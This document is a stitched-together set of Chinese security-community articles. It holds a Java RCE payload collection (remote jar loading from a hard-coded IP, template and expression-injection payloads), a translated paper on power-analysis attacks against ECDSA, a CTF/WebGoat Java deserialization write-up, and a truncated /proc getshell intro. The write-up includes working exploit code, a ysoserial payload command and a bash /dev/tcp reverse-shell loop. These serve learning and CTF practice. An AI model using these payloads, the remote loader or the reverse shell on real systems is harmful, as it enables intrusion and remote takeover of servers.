public void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
远程jar文件
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*"%>
<%
out.println(222222222);
URL url = new URL("http://188.131.187.191/Temp.jar");
URLClassLoader loader = new URLClassLoader (new URL[] {url});
Class cl = Class.forName ("com.company.Evil", true, loader);
Object evil = cl.newInstance();
cl.getMethod("exec",String.class).invoke(evil,"calc");
%>
**javassist**
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {
String command = "calc";
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(HashSet.class));
CtClass cc = pool.get(HashSet.class.getName());
//System.out.println(angelwhu.model.Point.class.getName());
cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec("" + command.replaceAll(""", "\"") +"");");
//加入关键执行代码，生成一个静态函数。
String newClassNameString = "Test";
cc.setName(newClassNameString);
CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);
cc.addMethod(mthd);
cc.toClass().newInstance();
}
### 模板注入
**jsp**
<%
out.println(22222);
%>
${Runtime.getRuntime().exec("calc")}
**FreeMarker**
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.20</version>
</dependency>
1.ftl
FreeMarker Template example: ${message}
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("whoami") }
Configuration cfg = new Configuration();
Template template = cfg.getTemplate("src/1.ftl");
// Build the data-model
Map<String, Object> data = new HashMap<String, Object>();
data.put("message", "Hello World!");
// Console output
Writer out = new OutputStreamWriter(System.out);
template.process(data, out);
out.flush();
**Velocity**
<dependency>
<groupId>apache-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>apache-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.1</version>
</dependency>
<dependency>
<groupId>apache-velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.5</version>
</dependency>
vm
hello ${name}
#set($e="e")
${e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")}
VelocityEngine ve = new VelocityEngine();
ve.init();
/* next, get the Template */
Template t = ve.getTemplate( "src/1.vm" );
/* create a context and add data */
VelocityContext context = new VelocityContext();
context.put("name", "lufei");
/* now render the template into a StringWriter */
StringWriter writer = new StringWriter();
t.merge( context, writer );
System.out.println( writer.toString() );
**thremeleaf**
thremeleaf是在使用springboot时接触到的一个模板引擎，用于处理静态的html页面
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.0.RELEASE</version>
</dependency>
名字：<span th:text="${name}"></span>
<span th:text="${new ProcessBuilder(new String[]{new String(new byte[]{99,97,108,99})}).start()}"></span>
File file = new File("d:/1.txt");
final FileWriter writer = new FileWriter(file);
final FileTemplateResolver templateResolver = new FileTemplateResolver();
TemplateEngine templateEngine = new TemplateEngine();
templateEngine.setTemplateResolver(templateResolver);
Context context = new Context();
context.setVariable("name","lufei");
String result = templateEngine.process("./src/1.html", context);
System.out.println(result);
### 表达式
**EL**
<%
out.println(22222);
%>
${2*3}
${Runtime.getRuntime().exec("calc")}
**OGNL**
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.0.1</version>
</dependency>
高版本需要自己设置安全权限
OgnlContext context = new OgnlContext();
Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", null);
System.out.println(execResult);
**spEL**
Spring Expression Language（简称SpEL）是一种强大的表达式语言
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.2.1.RELEASE</version>
</dependency>
ExpressionParser parser = new SpelExpressionParser();
System.out.println(parser.parseExpression("T(java.lang.Runtime).getRuntime().exec("calc")").getValue());
**Jexl**
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl</artifactId>
<version>2.1.1</version>
</dependency>
JexlContext jc = new MapContext();
Expression e = new JexlEngine().createExpression("''.class.forName('java.lang.Runtime').getRuntime().exec("calc")");
Object result = e.evaluate(jc);
System.out.println(result);
**Elasticsearch——MVEL**
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.2.8.Final</version>
</dependency>
String exp = "a=123;new java.lang.ProcessBuilder("calc").start();";
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
String result = MVEL.eval(exp, vars).toString();
## 最后
项目地址在：
<https://github.com/lufeirider/BypassShell/blob/master/JAVA/JAVA.md>
还有整理了ASP和PHP两种语言。
## 参考
<https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/>
<https://wsygoogol.github.io/2016/11/15/MVEL%E8%A7%A3%E6%9E%90%E8%A1%A8%E8%BE%BE%E5%BC%8F/>
<https://aluvion.github.io/2019/04/25/Java%E7%89%B9%E8%89%B2-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83/>
<https://wooyun.js.org/drops/%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%EF%BC%9A%E7%8E%B0%E4%BB%A3WEB%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%EF%BC%88%E8%A1%A5%E5%85%85%E7%BF%BB%E8%AF%91%E5%92%8C%E6%89%A9%E5%B1%95%EF%BC%89.html>
<http://rui0.cn/archives/1043> | 社区文章 |
# 区块链中基于简单能量分析的ECDSA攻击
|
##### 译文声明
本文是翻译文章，文章原作者 xilesou，文章来源：link.springer.xilesou.top
原文地址：<https://link.springer.xilesou.top/chapter/10.1007/978-3-030-24268-8_12>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Abstract
区块链的安全性依赖于加密算法。然而由于计算能力提升和侧信道方法的高级密码分析，密码原语通常会被破坏或削弱，区块链的密码算法将面临侧通道攻击。为了加强安全性并提高区块链的性能，比特币矿机基于硬件芯片实现，并且可使用FPGA或ASIC在硬件级别应用诸如Hash函数，ECDSA数字签名之类的加密算法。但是，攻击者在区块链硬设备的攻击策略中有多种选择，包括时序分析，简单能量分析（SPA)，差分能量分析（DPA)和相关能量分析（CPA）等。
本文系统地分析了交易数据数字签名被破坏的威胁，提出了一种针对ECDSA的改进简单能量分析（ _SPA，Simple Power Analysis_
），并采用了能量特征模型。给出了一个攻击案例，通过使用带有能量追踪的攻击方法可以恢复ECDSA的私钥。然后通过在区块链硬件设备的倍点运算（ _point
doubling_ ）和加法运算中添加空运算来给出原子级等效能量损耗的对策。
## 0x02 Digital Signature
上图显示了区块链的基本数据结构。在比特币中，区块链是已发生的所有比特币交易的公共日志，并组合在一起称为区块。交易使用确定代币所有者的脚本语言。
数字签名被赋予每个交易，并与交易一起存储在区块中。区块链协议中的数字签名方案是验证交易数据是由密钥所有者产生的，并且保证交易数据的完整性。比特币中的数字签名方案是带有secp256kl参数的椭圆曲线数字签名算法（
_ECDSA，Elliptic Curve Digital Signature Algorithm_ ），如下图所示。
ECDSA的安全性取决于椭圆曲线离散对数问题（ _ECDLP，elliptic curve discrete logarithm problem_
）的难度。也就是说，ECDSA在理论上是安全的。但是随着诸如侧信道方法等高级密码分析的提出，密码算法被破解和削弱，出现了以下两种威胁：
威胁1：如果私钥可以被破解，则对手可以假冒用户并将硬币转移到其他帐户。即未来的交易将被模拟。
威胁2：如果可以计算事务数据上的哈希值，则对手可以获得第二个预映像或产生相同哈希值（碰撞）的值。这导致通过从其他交易数据产生相同的哈希值来对交易数据的排列进行签名。
## 0x03 Security of ECDSA
ECDSA是数字签名算法的椭圆曲线版本。下面的算法1显示了如何计算签名。
如果可以得到秘钥d，则ECDSA被称为完整中断。根据算法1，如果已知签名（r，s）的临时密钥k，则可以根据公式（1）和（2）计算秘密密钥d：
对于ECDSA，如果攻击者能够显示临时密钥k，则实践中可能会破坏ECDSA的实现。给定E（Fq）上的点P和整数k，算法1中的步骤2是标量乘法[k]P，这是ECC最重要和最消耗的运算。
标量乘法可以使用基于左至右二进制NAF（非相邻形式）混合坐标乘法的双加法算法来实现。算法2给出了实验中使用的NAF标量乘法的细节。
为了避免使用仿射坐标的公式，使用了雅可比（Jacobian）或Jacobian-affine混合坐标。雅可比点（X，Y，Z）对应于仿射点（X
/Z²，Y/Z²）。在雅可比坐标系中，无穷大的点为O =（1，1，0）。在雅可比投影坐标系中给出倍增公式，令P =（x1，y1，z1），Q = 2P
=（x2，y2，z2）计算如下：
为了加快加法速度，Cohen等人引入了修正的雅可比坐标。设P =（x1，y1，z1）由雅可比坐标表示，而Q =（x2，y2，z2）由仿射坐标表示。总和R =
Q + P =（x3，y3，z3）计算如下：
由于简单能量分析，标量乘法就受到侧信道攻击技术的影响。如果标量乘法的实现泄漏了临时密钥k的信息，则可能允许揭示秘密密钥d。
## 0x04 Countermeasure of Scalar Multiplication
在实际的攻击环境中，电源走线中不可避免存在噪声。然后可以如下确定密码系统的总功耗：
其中 **P** total是总能量损耗， **P** op是与操作有关的能量损耗， **P** data是与数据有关的能量损耗， **P**
el.noise表示由硬件中的电子噪声产生的能量损耗， **P** const是一些恒定能量损耗耗，具体取决于技术实现方式。
根据标量乘法的实现，倍点运算和加法运算主要包括原子级的大整数的模乘，模加，模减，移位和加载日期。从理论上讲，根据汉明权重能量模型，每个操作的能量特性都不相同。当操作的位跳变更大时，能量损耗也更大。
可以根据倍加对原子操作进行细分，包括模乘，模加，模减，移位和加载日期，其中模乘表示为 **Pop_mod_mul** (a,b)，模加
**Pop_mod_add** (a,b)，模减 **Pop_mod_sub** (a,b)，移位 **Pop_shift** (a)和加载日期
**Pop_load** (a)。根据它们的能量特性，它们可以分为三类，如上表所示。
在算法3中，主要有19个用于原子倍加的原子运算，包括8个模数乘法，2个模数加法，3个模数减法，9个移位。在算法4中，点加法具有21个原子运算，包括13个模乘，5个模加，5个模减，5个移位。加倍运算能力
**P** op可以表示如下：
根据不同原子级操作的能量特性，能量损耗 **P** op在点加和倍点之间有很大的差异，因此能量损耗 **P** total是不同的。可以通过每个点操作的
**P** High来区分点加和倍点。
## 0x05 Feature Analysis and Extraction of Power Traces
已知 **P** High， **P** Medium， **P**
Low的标量乘法的三种类型的能量特性，下图是标量乘法的三种幂特性。由于负载数据出现在两个操作之间，因此负载数据的能量特性明显低于其他操作。
点的加法和倍加可以除以每个段的 **P** High数。如果段中有8 **P** High，则操作是倍点；如果有13 **P**
High，则是点加法或减法，如下图。另外点减法与点加法具有相同的运算过程，但操作数不同。点减法的一个操作数为-P，点加法的操作数为P。负载数据在点减法中需要增加负运算，因此低能量特性
**P** Low较宽。可以通过段的前后能量特性 **P** Low来判断段是加还是减。
## 0x06 An Attack Based on SPA Against Scalar Multiplication
算法2的第四步可以分为三种类型：倍加，倍减，加倍，如下图。
当uj = 0时，该操作加倍。
当uj = 1时，操作是倍加。
当uj = -1时，运算为倍减。
可以通过分析标量能量曲线的倍增、倍减来估算关键的NAF（k）值，如下图所示。
然后可以通过特征 **P** Low提取能量跟踪的每个分段。每个段都表示为Segi，针对标量乘法的SPA步骤如下：
**Step 1：** 首先，根据能量特性PLow对能量追踪进行分段，如Seg = {Seg0，Seg1，……，Segn}。
**Step 2：** 对数据集Seg，C = {c0，c1，c3}的三个聚类集进行分类，其中聚类c0是倍点，c1是点加法，c2是点减法。
分类原则：对于每个段Segi，如果其具有8 **P** High，则将Segi分为类c0。如果它具有13 **P** High，则当段的 **P**
low较窄时，Segi分为类c1，而当段的Plow较宽时，Segi分为类c2。
**Step 3：** 设置初始值i = 0，j =0。如下，可以获得NAF（k）的键值：
当Segi+1 ∈ c0时，uj = 0，i = i + 1，j = j + 1
当Segi+1 ∈ c1时，uj = 1，i = i + 2，j = j + 1
当Segi+1 ∈ c2时，uj =-1，i = i + 2，j = j + 1
**Step 4：** 根据NAF（k）的值，临时密钥k可以最终被破解。
## 0x07 Countermeasure of SPA on ECC
成功进行简单的标量乘法能量分析的关键是，能量跟踪会泄漏差分点运算的信息。根据算法2，在三点操作和临时密钥k之间存在依赖性。因此，防御必须从标量乘法实现过程的原子级开始。每个操作的能量损耗必须相等。因此，空操作在倍点运算和加法运算情况下会增加。如公式（6）和（7）。
其中Rand是随机函数，▲表示零模数乘法，★表示零模数加法。
下表显示，加法和乘法分别增加空运算，包括模块化乘法和模块化加法，以实等效的能量消耗，而且可以获得随机延迟。 针对这种情况，基于选择消息的侧信道攻击是无效的。
## 0x08 Conclution
本文展示了ECDSA在区块链中的攻击案例。
从ECDSA的原子操作分析了倍点和加法运算之间能量差异的主要原因，并通过在倍点和加法运算中添加空运算给出了原子级等效能量损耗的对策。
这是为了保护安全的加密技术，以防止对区块链硬件设备的侧通道攻击。 | 社区文章 |
## 0x00 引言
打比赛遇到了，之前学习反序列化的内容时就一直计划着将Java反序列化进行学习总结一下，就是在学习过程中遇到的问题以及一些CTF案例进行总结和记录。
## 0x01 Java反序列化基础
由于学了Java的只是了解代码，并不了解基层的代码执行情况，也就是Java代码如何运行，只有一些浅显的理解。在学习反序列化漏洞前也是对这部分基础进行了多一点的了解。
### 什么是JMX？
JMX(Java Management Extensions)，就是Java的管理扩展。用来管理和检测Java程序。
JMX简单架构
管理系统是通过JMX来管理系统中的各种资源的。
JMX有的应用架构有三层
> 分布层(Distributed layer)包含使管理系统和JMX代理通信的组件
> 代理层(Agent layer)包括代理和Mbean服务器
> 指令层(Instrumentation layer)包括代表可管理资源的MBean
> PS：MBean：符合JMX规范的Java类
JMX通知是Java对象，通过它可以从`MBean`和代理向那些注册了接受通知的对象发送通知。对接受事件感兴趣的对象是通知监听器，是实现了`javax.management.NotificationListener`接口的类
JMX提供了两种机制来为MBean提供监听器以注册来接受通知：
* 实现`javax.management.NotificationBroadcaster`接口
* 继承`javax.management.NotificationBroadcasterSupport`类
### 本地Java虚拟机如何运行远程的Java虚拟机的代码
Java代码运行时需要有jre，C/C++代码运行是编写好代码后在程序内存中运行，而Java是在特定的Java虚拟机中运行，在虚拟机中运行的好处就是可以跨平台。只需要编译一次，即可在任何存在Java环境的系统中运行jar包。这也就是Java十分方便的一点。
在Java虚拟机中，运行过程如下
先将Java代码编译成字节码(class文件)，这是虚拟机能够识别的指令，再由虚拟机内部将字节码翻译成机器码，所以我们只需要有Java字节码，就可以在不同平台的虚拟机中运行。
class文件被jdk所用的HotSpot虚拟机全部加载，将文件中的Java类放置在方法区，最后编译成机器码执行。
### Java反射
反射：将类的属性和方法映射成相应的类。
获取class类的三种方法
1. 类名.class
2. 对象名.getClass()
3. Class.forName("需要加载的类名")
使用以上三种方法任意一个来获取特定的类的`class`类。即这个类对应的字节码
* 调用`class`对象的`getConstructor(Class<?>... parameterTypes)`获取构造方法对象
* 调用构造方法类`Constructor`的`newInstance(Object.... initargs)`方法新建对象
* 调用`Class`对象的`getMethod(String name, Class<?>... parameterTypes)`获取方法对象
利用类对象创建对象
package com.java.ctf;
import java.lang.reflect.*;
public class CreatObject {
public static void main(String[] args) throws Exception{
Class UserClass = Class.forName("test.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("m0re");
System.out.println(user.getName());
}
}
基础反射(数组的反射)
Java反射的主要组成部分有4个，分别是`Class`, `Field`, `Constructor`, `Method`
package com.java.ctf;
public class game {
public static void main(String[] args){
int [] a1 = new int[]{1,2,3};
int [] a2 = new int[5];
int [][] a3 = new int[2][3];
System.out.println(a1.getClass() == a2.getClass());//true
System.out.println(a1.getClass());//class [I
System.out.println(a3.getClass());//class [[I
System.out.println(a1.getClass().getSuperclass() == a3.getClass().getSuperclass());//true
System.out.println(a2.getClass().getSuperclass());//class java.lang.Object
}
}
可以看出，不同的维，`class`不同，但是父类都是`Object`
一维数组不能直接转换成`Object[]`
一个例子
如果使用Java代码来执行系统命令。
package com.java.ctf;
public class game {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("notepad.exe");
}
}
执行的命令是打开记事本。
如果使用的idea进行编写代码的话，会发现这里的提示
一般正常的流程应当是，先进行实例化对象，再调用`exec()`方法。执行系统命令。
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
这部分的相应的反射代码实际上为
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
getMethod("方法名", 方法类型)
invoke(某个对象实例, 传入参数)
第一句获取`runtime`的实例，方便被`invoke`调用。
第二句就是调用第一句生成的`runtime`实例化后的`exec()`方法
### 反序列化函数实例
分别使用对象输入/输出流来实现序列化和反序列化操作
序列化：`ObjectOutputStream`类的`writeObject(Object obj)`方法，将对象序列化成字符串数据。
反序列化：`ObjectInputStream`类的`readObject(Object obj)`方法，将字符串数据反序列化长城对象。
> 与php序列化等操作的原理类似。序列化的原理都为了实现数据的持久化，通过反序列化可以把数据永久的的保存在硬盘上。
> 利用序列化实现远程通信，即在网络上传递对象的字节序列。
// User.java
package com.java.ctf;
import java.io.Serializable;
public class User implements Serializable{
private String name;
public void setName(String name) {
this.name = name;
}
public String getName(){
return name;
}
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}
//game.java
package com.java.ctf;
import java.io.*;
public class game {
public static void main(String[] args) throws Exception{
User user = new User();
user.setName("m0re");
FileOutputStream fout = new FileOutputStream("user.bin");
// 打开user.bin作为文件
ObjectOutputStream out = new ObjectOutputStream(fout);
//打开一个文件输入流
out.writeObject(user);
//文件输入序列化数据
out.close();
FileInputStream fin = new FileInputStream("user.bin");
ObjectInputStream in = new ObjectInputStream(fin);
in.readObject();
in.close();
fin.close();
}
}
将User类中`Runtime.getRuntime().exec()`执行的弹出计算器的命令进行序列化，写入文件`user.bin`，然后在game.java中读取该文件并使用`readObject()`方法进行反序列化操作，执行了User中的系统命令，最终成功弹出计算器。
然后看user.bin文件结构
标志是`aced0005`，经过base64转换之后是`rO0AB`，这个在后面应用的时候就可以看出来。
### 序列化版本号和serialVersionUID
JVM通过类名来区分Java类，类名不同的话，就判断不是同一个类，当类名相同时，JVM就会通过序列化版本号来区分Java类，如果序列化版本号相同就是同一个类，不同则为不同的类。
> 理解：在一个班级中，老师确定一个学生首先是根据学生的姓名来区分，当然无法避免重名的情况，如果重名，则进一步使用学号来区分，学号是唯一的。
在序列化一个对象时，如果没有指定序列化版本号，后期对这个类的源码进行修改并重新编译，会导致修改前后的序列化版本号不一致，因为如果一个类一开始没有指定序列化版本号的话，后面JVM重新指定一版本号给这个类的对象。否则会报错，并抛出异常`java.io.InvalidClassException`
解决办法：
1. 从一开始就指定好一个版本号给即将序列化的类。
2. 如果忘了指定版本号，那么就永远不要修改这个类，不要重新编译。
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
}
### RMI相关
RMI(Remote Method Invocation)是远程方法调用
JNDI(Java Naming and Directory Interface)，Java命名与目录接口
JNDI中包含许多RMI，类似于JNDI是图书馆的书架，书架上有很多分类的书。这些书就相当于RMI记录。
**实现一个RMI服务器**
定义好接口(interface)之后，继承了远程调式，
package com.java.ctf;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote{
String name(String name) throws RemoteException;
void sex(String sex) throws RemoteException;
void nikename(Object secondname) throws RemoteException;
}
package com.java.ctf;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;
public class game extends UnicastRemoteObject implements User {
public game() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void sex(String sex) throws RemoteException{
System.out.println("you are a "+ sex);
}
@Override
public void nikename(Object secondname) throws RemoteException{
System.out.println("your second name is "+ secondname);
}
}
package com.java.ctf;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.88.1:12581/User";
User user = new game();
LocateRegistry.createRegistry(12581);
Naming.bind(url, user);
System.out.println("the RMI Server is running.....");
}
}
启动服务后，`LocateRegistry.createRegistry(12581);`在JNDI中注册该端口，启动并监听该端口。
这样就运行起来一个简单的RMI监听器
## 0x02 Java反序列化的利用
### webgoat中的反序列化
挑战：以下输入框接收序列化对象（字符串）并对其进行反序列化。
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
尝试更改此序列化对象，以便将页面响应延迟 5 秒。
> JAVAWEB特征可以作为序列化的标志参考:
> 一段数据以rO0AB开头，你基本可以确定这串就是JAVA序列化base64加密的数据。
> 或者如果以aced开头，那么他就是这一段java序列化的16进制。
反编译得到源码，查看`BOOT-INF/lib/insecure-deserialization-8.2.2.jar`，编码是base64
找它的切入点，也就是反序列化的位置
然后追踪到`VulnerableTaskHolder.java`的代码中，但是在jd-gui中无法访问，所以就直接去GitHub中找源码，发现了这里，只允许使用ping和sleep函数来让系统进行延时。
自定义一个恶意类，其中写入反弹shell的命令或者按照靶场的指示进行延时5s。
//evil.java
class evil implements Serializable {
// readObject()
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
小tips：进行payload生成时，需要先反编译源码，把源码找出来，不管是CTF还是此靶场。
然后生成payload的自建恶意类也需要在这里面创建。不然反序列化出的payload不可用。
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
System.out.println("restoring task: "+taskName);
System.out.println("restoring time: "+requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
System.out.println(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
System.out.println("about to execute: "+taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
//Main.java
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
// import org.dummy.insecure.framework.VulnerableTaskHolder;
public class Main {
static public void main(String[] args) {
try {
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e) {
}
}
}
> 注意编译时的Java版本问题，这个目前不是很清楚。
运行得出payload。
还可以直接拿shell，利用bash反弹shell
生成payload使用工具`ysoserial.jar`，这里使用修改版的。
java -jar ysoserial.jar
利用选1，寻找可用payload选2
java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > m0re.bin
生成的bin文件，进行base64编码。
#!/usr/bin/python3
# -*- coding:utf-8 -*- import base64
file = open("m0re.bin","rb")
access = file.read()
payload = base64.b64encode(access)
print(payload)
file.close()
版本可能不匹配。
也有运行`mvn clean package
-DskipTests`重新编译`ysoserial.jar`的。可以参考这个[地址](https://www.jianshu.com/p/b309a4573abd)
还没有了解，先mark了。后续再看。这个关卡就先pass了。还有题目看呢，编译问题就不涉及太多内容了。
### EzGadget
因为比赛的时候不会写，Java反序列化一脸懵，所以才来钻研了Java反序列化的基础和简单利用。
直接反编译，审计
public String unser(@RequestParam(name="data", required=true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if ((name.equals("gadgets")) && (year == 2021)) {
objectInputStream.readObject();
}
这是反序列化的点。
其中反序列化前还需要加个验证。
oos.writeUTF("gadgets");
oos.writeInt(2021);
`toString()`函数加载字节码，cc链还没有看，准备下次学习一下java自带的一些类，然后再进行深入了解cc链。
引用大佬的exp
import com.ezgame.ctf.tools.ToStringBean;
import ezgame.ctf.bean.User;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
public class exp {
public static void main(String[] args) throws Exception {
InputStream inputStream = evil.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
ToStringBean sie =new ToStringBean();
Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie,"ClassByte",bytes);
BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
Reflections.setFieldValue(exception,"val",sie);
String a=Serialize.serialize(exception);
System.out.print(a);
}
}
加载的话，可以使用反弹shell的。
//evil.jaba
package com.ezgame.ctf.exp;
import java.io.IOException;
public class evil {
static {
try{
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (IOException e){
}
}
}
}
## 总结
感觉Java的知识不是很好掌握，可能是我太菜了，玩不动Java，没有常用Java，所以理解起来有点难，知识点还是一点一点啃吧。
## 参考链接
<https://www.cnblogs.com/sijidou/p/13121305.html>
<https://blog.csdn.net/qq_43266093/article/details/120883767>
<https://blog.csdn.net/qq_36241198/article/details/118618001>
<http://dreamphp.cn/blog/detail?blog_id=31726>
<https://blog.csdn.net/qq_36241198/article/details/118618001> | 社区文章 |
# 前言
> 不论是现实生活中的渗透测试，还是 CTF
> 竞赛中的赛题，都经常会出现`/proc`这个目录，利用该目录中的一些子目录或者文件不仅可以获取有用的`环境变量信息`甚至可以直接`Getshell`
# /proc 目录介绍
> 在 GUN/Linux
> 操作系统中的`/proc`是一个位于内存中的伪文件系统(或者叫做虚拟文件系统)。该目录下保存的不是真正的文件和目录，而是一些"运行时"的信息，例如系统内存、磁盘IO、设备挂载信息和硬件配置信息等。`proc`目录是一个控制中心，用户可以通过更改其中某些文件来改变内核的运行状态，`proc`目录也是内核提供给一个的查询中心，可以通过这些文件查看有关系统硬件及当前正在运行进程的信息。在
> Linux 系统中，许多工具的数据来源正是`proc`目录中的内容，例如：`lsmod`命令就是`cat
> /proc/modules`命令的别名，`lspci`命令是`cat /proc/pci`命令的别名
>
>
> 简单一点来讲，`/proc`目录就是保存在系统中的信息，其包含许多以数字命名的子目录，这些数字代表着当前系统正在运行进程的进程号，里面包含对应进程相关的多个信息文件
> 一般来说，在`/proc`目录下会存在以下的文件和目录
[1] /proc/pid
每一个 /proc/pid 目录中还存在一系列目录和文件, 这些文件和目录记录的都是关于 pid 对应进程的信息. 例如在 /proc/pid 的目录下存在一个 task 目录, 在 task 目录下又存在 task/tid 这样的目录, 这个目录就是包含此进程中的每个线程的信息, 其中的 tid 是内核线程的 tid, 通过 GETDENTS 遍历 /proc 就能够看到所有的 /proc/pid 的目录, 当然通过 ls -al /proc 的方式也可以看到所有的信息
[2] /proc/tid
每一个 /proc/tid 目录中还存在一系列目录和文件, 这些文件和目录记录的都是有关线程 tid 对应的信息, 这些信息与具体的 /proc/pid/task/tid 的目录相同, 所记录的信息也是相同的. 我们遍历 /proc 时并不能看到 /proc/tid 的信息, 同样通过 ls -al /proc 的方式也无法看到. 但是却可以通过 cd /proc/tid 进入到这个线程的内部, 通过 ps -T -p pid 的方式就能够看到 tid 的信息(传统的通过 ps | grep tid 是无法看到信息的)
[3] /proc/self
这是一个 link, 当进程访问此 link 时, 就会访问这个进程本身的 /proc/pid 目录, 例如:
ls -al /proc/self
lrwxrwxrwx 1 root root 0 Nov 15 11:28 /proc/self -> 1297307
[4] /proc/thread-self
这是一个 link, 当访问此 link 时, 就会访问进程的 /proc/self/task/tid 目录, 例如:
ls -al /proc/thread-self
